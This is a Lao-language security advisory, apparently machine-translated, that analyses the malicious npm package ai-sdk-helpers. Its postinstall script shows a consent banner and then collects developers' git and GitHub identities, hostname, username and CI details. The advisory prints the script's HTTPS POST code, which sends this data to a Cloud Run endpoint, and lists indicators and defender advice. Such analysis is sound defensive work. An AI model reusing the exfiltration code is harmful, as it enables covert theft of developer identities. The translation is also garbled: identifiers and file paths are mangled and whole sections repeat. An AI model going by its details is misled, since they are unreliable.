TL; DR
ຊຸດ npm ດຽວ, ຜູ້ຊ່ວຍ ai-sdk, ນຳສະເໜີຕົວມັນເອງເປັນຊຸດເຄື່ອງມືການຜະລິດສຳລັບ Vercel AI SDK, ເຊິ່ງສະເໜີການຕິດຕາມຄ່າໃຊ້ຈ່າຍ, ຜູ້ໃຫ້ບໍລິການສຳຮອງ, ແລະ ຜູ້ຊ່ວຍການຖ່າຍທອດສົດ.
ສະຄຣິບເວລາຕິດຕັ້ງຂອງມັນເປີດດ້ວຍປ້າຍໂຄສະນາເປີດເຜີຍທີ່ຂັດເງົາເຊິ່ງອະທິບາຍວ່າ ການວິນິດໄສທີ່ບໍ່ລະບຸຊື່, ໂດຍສັນຍາວ່າຈະບໍ່ມີການສົ່ງຕໍ່ລະຫັດແຫຼ່ງ, ໂທເຄັນ ຫຼື ຂໍ້ມູນປະຈຳຕົວໃດໆ, ໂດຍໃຫ້ກຽດແກ່ DO_NOT_TRACK ເລືອກທີ່ຈະບໍ່ເຂົ້າຮ່ວມ, ແລະ ການເຊື່ອມໂຍງກັບໜ້ານະໂຍບາຍການວັດແທກ ແລະ ສົ່ງຂໍ້ມູນທາງໄກ.
ຫຼັງຈາກນັ້ນ, ສະຄຣິບດຽວກັນຈະອ່ານຕົວຕົນ git ຂອງນັກພັດທະນາ, ການຕັ້ງຄ່າ GitHub CLI, ຊື່ໂຮສຂອງເຄື່ອງ, ຊື່ຜູ້ໃຊ້ລະບົບປະຕິບັດການ, ໄດເລກະທໍລີການເຮັດວຽກ ແລະ ຜູ້ໃຫ້ບໍລິການ CI.
ຂໍ້ມູນນັ້ນຖືກໂພສເປັນ JSON ໄປຫາຈຸດສິ້ນສຸດຂອງ Google Cloud Run, ເຊິ່ງສ້າງຄວາມບໍ່ກົງກັນທີ່ຊັດເຈນລະຫວ່າງນະໂຍບາຍ telemetry ທີ່ລະບຸໄວ້ ແລະ ຊ່ອງຂໍ້ມູນຕົວຈິງທີ່ເກັບກຳ.
ແພັກເກດດັ່ງກ່າວໄດ້ຖືກເຜີຍແຜ່ເປັນຊາວສອງເວີຊັນພາຍໃນ 83 ວິນາທີດຽວ, ແລະສະຄຣິບຕິດຕັ້ງແມ່ນຄືກັນທຸກໆໄບຕ໌ໃນແຕ່ລະເວີຊັນທີ່ຖືກໝາຍໄວ້.
ເຈັດໃນແປດລຸ້ນທີ່ໄດ້ຮັບການທົບທວນຄືນໂດຍພວກເຮົາ pipeline ໄດ້ຮັບຄະແນນທີ່ບໍ່ສາມາດສະຫຼຸບໄດ້ໂດຍຕົວຈັດປະເພດ ML ເນື່ອງຈາກວ່າຮູບແບບປ້າຍໂຄສະນາການຍິນຍອມອ່ານຄືກັບການສົ່ງຂໍ້ມູນທາງໄກທີ່ຖືກຕ້ອງຕາມກົດໝາຍ.
ພວກເຮົາຈັດປະເພດ ai-sdk-helpers ເປັນອັນຕະລາຍໂດຍອີງໃສ່ການເກັບກຳຂໍ້ມູນປະຈຳຕົວນັກພັດທະນາ ແລະ ການລັກລອບເອົາຂໍ້ມູນປະຈຳຕົວໃນເວລາຕິດຕັ້ງ.
ຄວາມຮຸນແຮງ: ສູງ.
ການວິພາກຂອງການຕິດຕັ້ງ
{ "scripts": { "postinstall": "node scripts/postinstall.js" } } ຕິດຕັ້ງຫຼັງ ແລ່ນໂດຍອັດຕະໂນມັດ npm ຕິດຕັ້ງ, ກ່ອນທີ່ລະຫັດໂຄສະນາໃດໆຂອງແພັກເກດຈະຖືກນໍາເຂົ້າ. ສະຄຣິບ ສະຄຣິບ/ຫຼັງການຕິດຕັ້ງ.js ແມ່ນບ່ອນທີ່ພຶດຕິກຳການຕິດຕັ້ງທັງໝົດຢູ່.
ມັນເລີ່ມຕົ້ນດ້ວຍບລັອກຄຳເຫັນ ແລະ ແຈ້ງການເວລາແລ່ນທີ່ຂຽນໄວ້ໃນທະບຽນຂອງໂຄງການແຫຼ່ງເປີດທີ່ຄຳນຶງເຖິງຄວາມເປັນສ່ວນຕົວ:
>ເມື່ອທ່ານຕິດຕັ້ງ ai-sdk-helpers, ພວກເຮົາຈະດຳເນີນການກວດສອບຄວາມເຂົ້າກັນໄດ້ຂອງສະພາບແວດລ້ອມຢ່າງວ່ອງໄວ ແລະ ລາຍງານການວິນິດໄສແບບບໍ່ລະບຸຊື່... ຂໍ້ມູນຈະບໍ່ລະບຸຊື່ທັງໝົດ — ພວກເຮົາເກັບກຳແພລດຟອມຂອງທ່ານ, ເວີຊັນຂອງ Node, ແລະ hash ທາງດຽວຂອງຕົວລະບຸເຄື່ອງຂອງທ່ານ. ຈະບໍ່ມີການສົ່ງຕໍ່ລະຫັດແຫຼ່ງ, ໂທເຄັນ, ຫຼື ຂໍ້ມູນປະຈຳຕົວໃດໆ.
ມັນຍັງເຊື່ອມຕໍ່ປະຕູ opt-out ທີ່ເຮັດວຽກໄດ້, ລະຫັດທີ່ສາມາດປະຕິບັດໄດ້ທຳອິດໃນໄຟລ໌:
if ( process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" || process.env.DO_NOT_TRACK === "1" ) { process.exit(0); } ການຜູກມັດປະຕູນີ້ກ່ອນແມ່ນສິ່ງທີ່ເຮັດໃຫ້ສ່ວນທີ່ເຫຼືອອ່ານວ່າເປັນການຍິນຍອມເຫັນດີ: ນັກພັດທະນາຜູ້ທີ່ກຳນົດ `D_ບໍ່_ຕິດຕາມ` ເຫັນວ່າການຕິດຕັ້ງສຳເລັດຢ່າງງຽບໆ ແລະ ສະຫຼຸບແພັກເກັດດັ່ງກ່າວເປັນໄປຕາມສົນທິສັນຍາ. ການເລືອກອອກທີ່ໄດ້ຮັບກຽດແມ່ນມີຢູ່ຈິງ. ສິ່ງທີ່ມັນປະຕິເສດ, ສຳລັບທຸກຄົນທີ່ບໍ່ໄດ້ຕັ້ງຄ່າມັນ, ແມ່ນຄໍເລັກຊັນທີ່ໄດ້ອະທິບາຍໄວ້ຂ້າງລຸ່ມນີ້ - ບໍ່ແມ່ນ "ແພລດຟອມ, ລຸ້ນ Node, ແລະ hash ທາງດຽວ" ທີ່ແຄບກວ່າທີ່ແຈ້ງການຕັ້ງຊື່.
ຢູ່ລຸ່ມປະຕູນັ້ນ, ສະຄຣິບຈະປະກອບ payload ທີ່ເກີນຄຳອະທິບາຍນັ້ນ.
- *Gຕົວຕົນ t.* rແກ້ໄຂScmຕົວຕົນ eads `~.gitconfig`,`~.config/git/config`,ແລະໂຄງການປະຈຸບັນ `.ມັນ/ການຕັ້ງຄ່າ`,ວິເຄາະ `[ເຊີ]` ection, ແລະສົ່ງຄືນຄ່າທີ່ຕັ້ງຄ່າໄວ້ commit ອີເມວ. ຖ້າບໍ່ມີໄຟລ໌ການຕັ້ງຄ່າສົ່ງອີເມວ, ມັນຈະກັບຄືນໄປຫາ `Gອີເມວຜູ້ອະນຸຍາດ`GT_COMMITTER_EMAIL`,ແລະ `ອີໄອແອວ ຕົວແປສະພາບແວດລ້ອມ. ເອກະສານອ້າງອີງທີ່ຢູ່ຂ້າງເທິງຟັງຊັນກຳນົດກອບການອ່ານເປັນວິທີການ "ເພື່ອລຶບການຕິດຕັ້ງທີ່ຊໍ້າກັນໃນທົ່ວເຄື່ອງທີ່ເປັນເຈົ້າຂອງໂດຍບຸກຄົນດຽວກັນ (ເຊັ່ນ: ແລັບທັອບ + CI)" - ຈຸດປະສົງທີ່ລະບຸໄວ້ທີ່ຕ້ອງການຕົວລະບຸທີ່ໝັ້ນຄົງຕໍ່ນັກພັດທະນາ, ເຊິ່ງ commit ອຸປະກອນອີເມວ.
- *Gບັນຊີ tHub.* rsolveGitHubIdentity()` eads `~.config/gh/hosts.yml` ແລະ `~.config/gh/hosts.yaml` ໄຟລ໌ການຕັ້ງຄ່າທີ່ຂຽນໂດຍ GitHub CLI ເມື່ອນັກພັດທະນາກວດສອບຄວາມຖືກຕ້ອງ — ແລະ regex ສະກັດເອົາ `uເອີ:` ແລະ `eໄຂ້:` fields. ໄຟລ໌ນັ້ນຍັງເກັບຮັກສາໂທເຄັນ GitHub OAuth; regex ຂອງສະຄຣິບແນໃສ່ຊື່ຜູ້ໃຊ້ ແລະ ອີເມວໂດຍສະເພາະ ແລະ ບໍ່ໄດ້ສະກັດໂທເຄັນ. ດັ່ງນັ້ນ, ການຮຽກຮ້ອງ "ບໍ່ມີໂທເຄັນ... ຖືກສົ່ງຕໍ່" ຂອງປ້າຍໂຄສະນາເປີດເຜີຍຈຶ່ງເປັນຄວາມຈິງຕາມຕົວອັກສອນສຳລັບຊ່ອງຂໍ້ມູນນັ້ນ ໃນຂະນະທີ່ຕົວລະບຸບັນຊີອ້ອມຂ້າງຖືກອ່ານ ແລະ ສົ່ງ.
- *Hລາຍນິ້ວມື st ແລະ CI.* ຫຼັງຈາກນັ້ນ script ຈະເກັບກຳ `o.ຊື່ໂຮສຕ໌()`,`o.userInfo().ຊື່ຜູ້ໃຊ້`,ລຸ້ນ Node, ແພລດຟອມ ແລະ ສະຖາປັດຕະຍະກຳ, `pocess.cwd()`,ແລະປ້າຍກຳກັບຜູ້ໃຫ້ບໍລິການ CI ທີ່ແກ້ໄຂໂດຍການກວດສອບຕົວແປສະພາບແວດລ້ອມສຳລັບຜູ້ໃຫ້ບໍລິການແປດຄົນ (GitHub Actions, GitLab CI, Jenkins, CircleCI, Travis, Buildkite, ແລະທຸງ CI ທົ່ວໄປສອງອັນ). ລາຍຊື່ຜູ້ໃຫ້ບໍລິການອ່ານເປັນສາງຂອງບ່ອນທີ່ສະຄຣິບຄາດວ່າຈະປະຕິບັດ - ເປືອກໂຕ້ຕອບ ແລະ ການສ້າງອັດຕະໂນມັດ pipelineຄືກັນ.
ທັງໝົດນີ້ຖືກຈັດເປັນກຸ່ມດຽວຜູ້ທີ່ບໍ່ເຊື່ອໃນເລື່ອງອະໂນນິເຊຍ bject, ໂດຍມີຊ່ອງຂໍ້ມູນສຳລັບນັກພັດທະນາແຕ່ລະຄົນທີ່ເກັບກຳຢູ່ພາຍໃຕ້ `iໜ່ວຍງານ ey ແລະຂໍ້ມູນໂຮດພາຍໃຕ້ `rນິດເມ ແລະ `cntext eys, ຫຼັງຈາກນັ້ນຖືກຈັດລຽງລຳດັບ ແລະ ສົ່ງຕໍ່:
const req = https.request( { hostname: "npm-package-logger-228835561205.europe-west1.run.app", path: "/", method: "POST", headers: { "Content-Type": "application/json" }, timeout: 5000, }, () => {} ); req.on("error", () => {}); req.write(body); req.end(); ການຕອບສະໜອງຖືກຍົກເລີກ ແລະ ຄວາມຜິດພາດທັງໝົດຖືກກືນກິນ — ຄຳເຫັນໜຶ່ງໄດ້ບັນທຶກວ່າ “telemetry ຕ້ອງບໍ່ທຳລາຍການຕິດຕັ້ງ.” ຊື່ໂຮສຈຸດສຸດທ້າຍເຂົ້າລະຫັດການບໍລິການ Google Cloud Run ໃນ `eເຊືອກ-ທິດຕາເວັນຕົກ1` ເອຈຽນ.
ຊ່ອງຫວ່າງແມ່ນເລື່ອງລາວ. ປ້າຍໂຄສະນາລະບຸປະເພດຂໍ້ມູນສາມປະເພດຄື: ແພລດຟອມ, ລຸ້ນໂຫນດ, ແຮຊຕົວລະບຸເຄື່ອງ. ເພຼາຍໄຟລ໌ສົ່ງ git ຕົວຈິງຂອງນັກພັດທະນາ commit ອີເມວ, ຊື່ຜູ້ໃຊ້ ແລະ ອີເມວ GitHub ຂອງເຂົາເຈົ້າ, ຊື່ໂຮສຂອງເຄື່ອງ ແລະ ຊື່ບັນຊີລະບົບປະຕິບັດການ, ເສັ້ນທາງໂຄງການຂອງເຂົາເຈົ້າ, ແລະ ສະພາບແວດລ້ອມ CI ຂອງເຂົາເຈົ້າ. ຊ່ອງຂໍ້ມູນທີ່ລະບຸ *prson ແລະບັນຊີຂອງເຂົາເຈົ້າ* ກ່ຽວກັບຂົງເຂດທີ່ການເປີດເຜີຍດັ່ງກ່າວຖືກລະເລີຍຢ່າງແນ່ນອນ.
README ເສີມສ້າງກອບຈາກອີກດ້ານໜຶ່ງ. ພາກສ່ວນ "Telemetry" ຂອງມັນເຮັດຊ້ຳການອ້າງສິດການປິດບັງຊື່ ແລະ ເຊື່ອມໂຍງຄຳວ່າ `D_ບໍ່_ຕິດຕາມ` ໂອ `ຊີnsoledonottrack.com`,ໜ້າຊຸມຊົນຕົວຈິງທີ່ບັນທຶກສົນທິສັນຍາການເລືອກອອກ - ການຢືມຄວາມເປັນສ່ວນຕົວທີ່ໄດ້ຮັບການຍອມຮັບ standard ເພື່ອເຮັດໃຫ້ແຈ້ງການອ່ານເປັນເລື່ອງປົກກະຕິ.
ກໍານົດເວລາ
ນີ້ແມ່ນການຄົ້ນພົບຊຸດດຽວທີ່ມີປະຫວັດການພິມເຜີຍແຜ່ທີ່ສັ້ນ ແລະ ໜາແໜ້ນຫຼາຍ. ບໍ່ມີເສັ້ນທາງການໂຄສະນາຫຼາຍອາທິດໃຫ້ຕິດຕາມ - ລຸ້ນທັງໝົດຖືກຍູ້ດ້ວຍຄວາມໄວຂອງເຄື່ອງຈັກ.
| ເມື່ອ (UTC) | ກໍລະນີ |
|---|---|
| 2026-06-03 20:31:20 | ລຸ້ນທຳອິດ (0.1.0) ເຜີຍແຜ່ໄປທີ່ npm. |
| 2026-06-03 20:31:20 – 20:32:43 | ທັງໝົດ 22 ເວີຊັນ (0.1.0 ໂດຍຜ່ານການ 1.4.2) ຈັດພິມໃນຮູບແບບອັດຕະໂນມັດ 83 ວິນາທີ. |
| 2026-06-04 | ແປດເວີຊັນຖືກໝາຍໂດຍສັນຍານກວດຈັບ; ການວິເຄາະດ້ວຍຕົນເອງຢືນຢັນການເກັບກຳຂໍ້ມູນປະຈຳຕົວໃນເວລາຕິດຕັ້ງ ແລະ ການກັ່ນຕອງ. ແພັກເກດຍັງຄົງໃຊ້ງານຢູ່ໃນ npm ໃນເວລາວິເຄາະ. |
ໄລຍະເວລາ 83 ວິນາທີໃນ 22 ເວີຊັນຄວາມໝາຍແມ່ນຕົວຊີ້ບອກພຶດຕິກຳ: ຂັ້ນໄດຂອງເວີຊັນ (`01.0`,`01.1`,… `14.2`)ນຳສະເໜີໜ້າດິນຂອງໂຄງການທີ່ຮັກສາໄວ້ຢ່າງຫ້າວຫັນພ້ອມກັບປະຫວັດການປ່ອຍ, ຜະລິດໃນການແລ່ນສະຄຣິບດຽວ. ສະຄຣິບຕິດຕັ້ງບໍ່ປ່ຽນແປງຂ້າມບັນໄດນັ້ນ - ເບິ່ງຂ້າງລຸ່ມນີ້.
ຕົວຊີ້ວັດຂອງການປະນີປະນອມ
ປະລິມານຂໍ້ມູນໃນເວລາຕິດຕັ້ງແມ່ນຄືກັນໃນທົ່ວທຸກລຸ້ນທີ່ເຜີຍແຜ່. A `dff` f `sripts/postinstall.js` etbetween ລຸ້ນ `02.1 ລຸ້ນທີ 14.2 ບໍ່ມີຄວາມແຕກຕ່າງໃດໆ; ພຶດຕິກຳດັ່ງກ່າວແມ່ນລາຍນິ້ວມືຄົງທີ່ອັນໜຶ່ງ, ບໍ່ແມ່ນ payload ທີ່ພັດທະນາຢູ່ເລື້ອຍໆ.
ເຄືອຂ່າຍ
ໄລຍະເວລາ 83 ວິນາທີໃນ 22 ເວີຊັນຄວາມໝາຍແມ່ນຕົວຊີ້ບອກພຶດຕິກຳ: ຂັ້ນໄດຂອງເວີຊັນ (`01.0`,`01.1`,… `14.2`)ນຳສະເໜີໜ້າດິນຂອງໂຄງການທີ່ຮັກສາໄວ້ຢ່າງຫ້າວຫັນພ້ອມກັບປະຫວັດການປ່ອຍ, ຜະລິດໃນການແລ່ນສະຄຣິບດຽວ. ສະຄຣິບຕິດຕັ້ງບໍ່ປ່ຽນແປງຂ້າມບັນໄດນັ້ນ - ເບິ່ງຂ້າງລຸ່ມນີ້.
ຕົວຊີ້ວັດຂອງການປະນີປະນອມ
ປະລິມານຂໍ້ມູນໃນເວລາຕິດຕັ້ງແມ່ນຄືກັນໃນທົ່ວທຸກລຸ້ນທີ່ເຜີຍແຜ່. A `dff` f `sripts/postinstall.js` etbetween ລຸ້ນ `02.1 ລຸ້ນທີ 14.2 ບໍ່ມີຄວາມແຕກຕ່າງໃດໆ; ພຶດຕິກຳດັ່ງກ່າວແມ່ນລາຍນິ້ວມືຄົງທີ່ອັນໜຶ່ງ, ບໍ່ແມ່ນ payload ທີ່ພັດທະນາຢູ່ເລື້ອຍໆ.
ເຄືອຂ່າຍ
| ຕົວຊີ້ວັດ | ພາລະບົດບາດ |
|---|---|
npm-package-logger-228835561205.europe-west1.run.app | ຈຸດສິ້ນສຸດການກັ່ນກອງທີ່ໄດ້ຮັບຄຳຮ້ອງຂໍ HTTPS POST ດ້ວຍ payload JSON. ໂຮດຢູ່ໃນ Google Cloud Run ໃນ europe-west1 ພາກພື້ນ. |
ພື້ນຖານໂຄງລ່າງຫຼອກລວງ
| ຕົວຊີ້ວັດ | ພາລະບົດບາດ |
|---|---|
ai-sdk.guide | ໜ້າຫຼັກຂອງແພັກເກດ ແລະ ເວັບໄຊທ໌ສົດທີ່ຮອງຮັບຂໍ້ມູນປະຈຳຕົວຜູ້ຂຽນ "AI SDK Guide". |
ai-sdk.guide/telemetry | URL ນະໂຍບາຍ Telemetry ທີ່ອ້າງອີງໃນແຈ້ງການເປີດເຜີຍເວລາຕິດຕັ້ງ. |
hello@ai-sdk.guide | ອີເມວຂອງຜູ້ຂຽນຖືກປະກາດໃນ package.json. |
github.com/ai-sdk-guide/ai-sdk-helpers | ບ່ອນເກັບມ້ຽນແຫຼ່ງຂໍ້ມູນຖືກປະກາດໂດຍແພັກເກດ. |
ໄຟລ໌ທີ່ອ່ານໃນເວລາຕິດຕັ້ງ
- -.gitconfig`,`~.config/git/config`,`<wd>/.git/config` git `[ເຊີ]` ອີເມວ
- - .config/gh/hosts.yml`,`~.config/gh/hosts.yaml` GitHub CLI `uເອີ `eໄອລ໌
ລາຍເຊັນພຶດຕິກຳ
- - ມ `ປຕິດຕັ້ງ ook ເອີ້ນໃຊ້ສະຄຣິບ Node ທີ່ມັດໄວ້
- - ປະຕູເລືອກອອກ (`A_SDK_HELPERS_TELEMETRY_DISABLED`,`Dບໍ່ຕິດຕາມນຳສະເໜີເປັນຄຸນສົມບັດຄວາມເປັນສ່ວນຕົວ, ກ່ອນການເກັບກຳຂໍ້ມູນປະຈຳຕົວ
- - tbound HTTPS POST ຂອງວັດຖຸ JSON ທີ່ມີອີເມວ git, ຕົວຕົນ GitHub, ຊື່ໂຮສ, ຊື່ຜູ້ໃຊ້ລະບົບປະຕິບັດການ, cwd, ແລະປ້າຍ CI
- - ສະຄຣິບຕິດຕັ້ງທີ່ຄືກັນໃນທົ່ວລຸ້ນທີ່ເຜີຍແຜ່ຢ່າງໄວວາ
ການອ້າງອີງ ແລະ ພຶດຕິກຳທີ່ສັງເກດເຫັນ
ພວກເຮົາບໍ່ໄດ້ໃຫ້ຄຸນຄ່າຫຍັງນອກເໜືອໄປຈາກສິ່ງທີ່ບັນທຶກ metadata ຂອງແພັກເກດ ແລະ ລີຈິດສະຕິກ.
ຜູ້ຮັກສາບັນທຶກ npm ແມ່ນບັນຊີ `aອີລຊີມອນດ້ວຍທີ່ຢູ່ `aiel@vigilance.security.ທະບຽນລະບຸອີເມວນັ້ນວ່າບໍ່ໄດ້ຮັບການຢືນຢັນ ແລະ ຕົວຕົນການຄວບຄຸມແຫຼ່ງຂໍ້ມູນຂອງບັນຊີວ່າບໍ່ໄດ້ຮັບການຢືນຢັນ.ckage.json`,ແຍກຕ່າງຫາກ, ນຳສະເໜີຜູ້ຂຽນເປັນ “ຄູ່ມື AI SDK `ello@ai-sdk.guide>`”ດ້ວຍໜ້າທຳອິດຂອງ `a-sdk.guide` ແລະ ບ່ອນເກັບມ້ຽນແຫຼ່ງຂໍ້ມູນພາຍໃຕ້ `gອົງກອນ thub.com/ai-sdk-guide. ໂດເມນອີເມວຂອງບັນຊີເຜີຍແຜ່ (`vigilance.security`)ແລະ ຕົວຕົນຂອງຜູ້ຂຽນໃນຊຸດ (`a-sdk.guide`)ແມ່ນໂດເມນທີ່ແຕກຕ່າງກັນ.
ອາ-sdk.guide` ite ກຳລັງໃຊ້ງານຢູ່ ແລະ ຕອບສະໜອງ, ແລະ `/ອົງປະກອບ ath ແກ້ໄຂ - ຕົວຕົນຂອງການຫຼອກລວງແມ່ນໄດ້ຮັບການສະໜັບສະໜູນໂດຍການມີຢູ່ຂອງເວັບທີ່ສາມາດເຂົ້າເຖິງໄດ້ແທນທີ່ຈະເປັນລິ້ງທີ່ຕາຍແລ້ວ, ເຊິ່ງເພີ່ມຄວາມໜ້າເຊື່ອຖືຂອງການວາງກອບຂອງແພັກເກດ.
**ຄວາມສາມາດທີ່ສັງເກດເຫັນ.** ໃນເວລາຕິດຕັ້ງ, ແພັກເກດຈະອ່ານຂໍ້ມູນປະຈຳຕົວນັກພັດທະນາ ແລະ ໄຟລ໌ການຕັ້ງຄ່າບັນຊີ, ລາຍນິ້ວມືຂອງໂຮດ ແລະ ສະພາບແວດລ້ອມ CI, ແລະ ສົ່ງຜົນໄດ້ຮັບໄປຫາຈຸດສິ້ນສຸດທີ່ຄວບຄຸມໂດຍຜູ້ປະຕິບັດການ, ໃນຂະນະທີ່ສະແດງແຈ້ງການທີ່ອະທິບາຍຊຸດຂໍ້ມູນທີ່ແຄບກວ່າ ແລະ ບໍ່ລະບຸຊື່. ພວກເຮົາອະທິບາຍພຶດຕິກຳນີ້; ພວກເຮົາບໍ່ໄດ້ຢືນຢັນແຮງຈູງໃຈສຳລັບມັນ. ຜູ້ອ່ານທີ່ປະເມີນແພັກເກດ — ລວມທັງພາກສ່ວນໃດກໍ່ຕາມທີ່ຮັບຮູ້ຕົວຕົນການເຜີຍແຜ່ — ຄວນຊັ່ງນໍ້າໜັກຄວາມບໍ່ກົງກັນທີ່ສັງເກດເຫັນໄດ້ລະຫວ່າງກະແສຂໍ້ມູນທີ່ລະບຸໄວ້ ແລະ ກະແສຂໍ້ມູນທີ່ຕົວຈິງ.
ຜົນກະທົບ, ແນວໂນ້ມ ແລະ ການຊີ້ນຳສຳລັບຜູ້ປົກປ້ອງ
ໃຜຖືກເປີດເຜີຍ. ຜູ້ໃດກໍຕາມທີ່ຕິດຕັ້ງ ຜູ້ຊ່ວຍ ai-sdk — ໂດຍກົງ ຫຼື ເປັນການເພິ່ງພາອາໄສແບບ transitive — ດໍາເນີນການຄໍເລັກຊັນຢູ່ໃນເຄື່ອງນັ້ນ. ເນື່ອງຈາກວ່າ trigger ແມ່ນ ຕິດຕັ້ງຫຼັງ, ລະຫັດຫ້ອງສະໝຸດທີ່ໂຄສະນາບໍ່ຈຳເປັນຕ້ອງຖືກນຳເຂົ້າເພື່ອໃຫ້ກະແສຂໍ້ມູນເກີດຂຶ້ນ; ການຕິດຕັ້ງຢ່າງດຽວກໍ່ພຽງພໍແລ້ວ. ສະພາບແວດລ້ອມທີ່ມີຄ່າສູງສຸດແມ່ນສະຖານີເຮັດວຽກຂອງນັກພັດທະນາທີ່ມີຕົວຕົນ git ທີ່ຖືກຕັ້ງຄ່າໄວ້ ແລະ GitHub CLI ທີ່ໄດ້ຮັບການພິສູດຢືນຢັນແລ້ວ, ແລະ CI runners, ບ່ອນທີ່ການກວດຈັບ CI-provider ຂອງສະຄຣິບຊີ້ບອກວ່າຄໍເລັກຊັນຄາດວ່າຈະເຮັດວຽກພາຍໃນ build. pipelineເຊັ່ນດຽວກັນກັບໃນຄອມພິວເຕີໂນດບຸກ.
ສິ່ງທີ່ມັນເປີດເຜີຍ. ບໍ່ແມ່ນຄວາມລັບຂອງແອັບພລິເຄຊັນໃນກໍລະນີທົ່ວໄປ — payload ສຸມໃສ່ identity: ນັກພັດທະນາ commit ອີເມວ, ຊື່ບັນຊີ GitHub ແລະ ອີເມວຂອງເຂົາເຈົ້າ, ຊື່ເຄື່ອງ ແລະ ຊື່ບັນຊີ, ແລະ ເສັ້ນທາງໂຄງການ. ນັ້ນແມ່ນຂໍ້ມູນກ່ອນcisແຜນທີ່ຂອງຜູ້ທີ່ຕິດຕັ້ງແພັກເກດ, ຢູ່ໃນເຄື່ອງໃດ, ຢູ່ໃນບ່ອນເກັບມ້ຽນໃດ, ແລະ ພາຍໃຕ້ລະບົບ CI ໃດ. ສຳລັບອົງກອນ, ບັນທຶກຈຳນວນໜຶ່ງທີ່ນຳມາລວມກັນຈະລະບຸວ່າວິສະວະກອນໃດ ແລະ ລະບົບໃດທີ່ດຶງການເພິ່ງພາອາໄສ - ເປັນປະໂຫຍດເປັນຕົວຊີ້ບອກເຖິງກິດຈະກຳຕິດຕາມເປົ້າໝາຍຫຼາຍຂຶ້ນ, ເຖິງແມ່ນວ່າພຶດຕິກຳຂອງແພັກເກດນີ້ຢຸດຢູ່ທີ່ການເກັບກຳ ແລະ ການສົ່ງຕໍ່.
ທ່າອ່ຽງ: telemetry ເປັນປົກ. ເຄື່ອງມືນັກພັດທະນາທີ່ຖືກຕ້ອງຕາມກົດໝາຍຈະເກັບກຳການວິນິດໄສການຕິດຕັ້ງທີ່ບໍ່ລະບຸຊື່, ແລະ ສົນທິສັນຍາສຳລັບການເຮັດມັນດ້ວຍຄວາມເຄົາລົບ — ແຈ້ງການເປີດເຜີຍ, ຢ່າຕິດຕາມ ກຽດສັກສີ, ທຸງເລືອກອອກ, URL ນະໂຍບາຍ - ເປັນທີ່ຮູ້ຈັກກັນດີ. ຜູ້ຊ່ວຍ ai-sdk ສຳເນົາສົນທິສັນຍາທັງສີ່ສະບັບນັ້ນຢ່າງຊື່ສັດ ແລະ ນຳໃຊ້ພວກມັນເປັນຕົວຫໍ່ສຳລັບການເກັບກຳຂໍ້ມູນປະຈຳຕົວ. ການມີປ້າຍໂຄສະນາຍິນຍອມ, ການເລືອກອອກທີ່ເຮັດວຽກໄດ້, ຫຼື ລິ້ງນະໂຍບາຍຄວາມເປັນສ່ວນຕົວບໍ່ແມ່ນຫຼັກຖານທີ່ສະແດງໃຫ້ເຫັນວ່າແພັກເກດໃດໜຶ່ງເຊື່ອຖືໄດ້; ການຄວບຄຸມເຫຼົ່ານັ້ນມີລາຄາຖືກທີ່ຈະລອກລຽນແບບ. ການກວດສອບທີ່ໜ້າເຊື່ອຖືໄດ້ພຽງແຕ່ສິ່ງທີ່ລະຫັດອ່ານແທ້ໆ ແລະ ບ່ອນທີ່ມັນສົ່ງມັນແທ້ໆ.
ການຫຸ້ມຫໍ່ນີ້ຍັງມີຜົນກະທົບທີ່ສາມາດວັດແທກໄດ້ຕໍ່ການຄັດເລືອກແບບອັດຕະໂນມັດ. ໃນທົ່ວທຸກລຸ້ນຂອງພວກເຮົາ pipeline ການທົບທວນຄືນ, ຄຳເຫັນພາສາທຳມະດາຂອງສະຄຣິບຕິດຕັ້ງ, ຊື່ຊ່ອງຂໍ້ມູນທີ່ມີໂຄງສ້າງ, ແລະປະຕູເລືອກອອກແບບດັ້ງເດີມໄດ້ຮັບການໃຫ້ຄະແນນເປັນ telemetry ທຳມະດາ: ເຈັດໃນແປດຄົນໄດ້ກັບມາ ບໍ່ແນ່ນອນ ຈາກຕົວຈັດປະເພດ ML ແທນທີ່ຈະເປັນອັນຕະລາຍ. ສັນຍານທີ່ແກ້ໄຂຄວາມບໍ່ແນ່ນອນບໍ່ໄດ້ຢູ່ໃນບົດຂຽນ — ມັນຢູ່ໃນໄຟລ໌ສະເພາະທີ່ສະຄຣິບເປີດ (~ / .gitconfig, ~/.config/gh/hosts.yml) ແລະຈຸດໝາຍປາຍທາງທີ່ມັນສົ່ງໄປ. ຜູ້ທົບທວນ, ບໍ່ວ່າຈະເປັນແບບອັດຕະໂນມັດ ຫຼື ມະນຸດ, ຜູ້ທີ່ອ່ານການເປີດເຜີຍ ແລະ ຢຸດຢູ່ທີ່ນັ້ນຈະບັນລຸຂໍ້ສະຫຼຸບທີ່ຜິດພາດ; ການຕັດສິນຕ້ອງມາຈາກຂໍ້ເທັດຈິງຂອງການໄຫຼຂອງຂໍ້ມູນ.
ຄຳແນະນຳສຳລັບຜູ້ຖືກກ່າວຟ້ອງ:
- ຕິດຕັ້ງດ້ວຍສະຄຣິບທີ່ຖືກປິດໃຊ້ງານໂດຍຄ່າເລີ່ມຕົ້ນ — npm ຕິດຕັ້ງ - ບໍ່ສົນໃຈສະຄຣິບ, ຫຼືກໍານົດ ບໍ່ສົນໃຈສະຄຣິບ = ຈິງ in .npmrc ແລະ ດໍາເນີນການຂັ້ນຕອນການສ້າງທີ່ໄດ້ຮັບການກວດສອບຢ່າງຊັດເຈນ. ສິ່ງນີ້ຈະເຮັດໃຫ້ເປັນກາງ ຕິດຕັ້ງຫຼັງ- ການກະຕຸ້ນການເກັບກຳຂໍ້ມູນທົ່ວທັງກະດານ.
- ຢ່າປະຕິບັດຕໍ່ການຄວບຄຸມການເລືອກອອກເປັນສັນຍານຄວາມໄວ້ວາງໃຈ. ຢ່າຕິດຕາມ ການກວດສອບ ຫຼື ລິ້ງ "ນະໂຍບາຍ telemetry" ບໍ່ບອກທ່ານກ່ຽວກັບຂໍ້ມູນທີ່ສະຄຣິບເກັບກຳເມື່ອບໍ່ໄດ້ຕັ້ງປະຕູ.
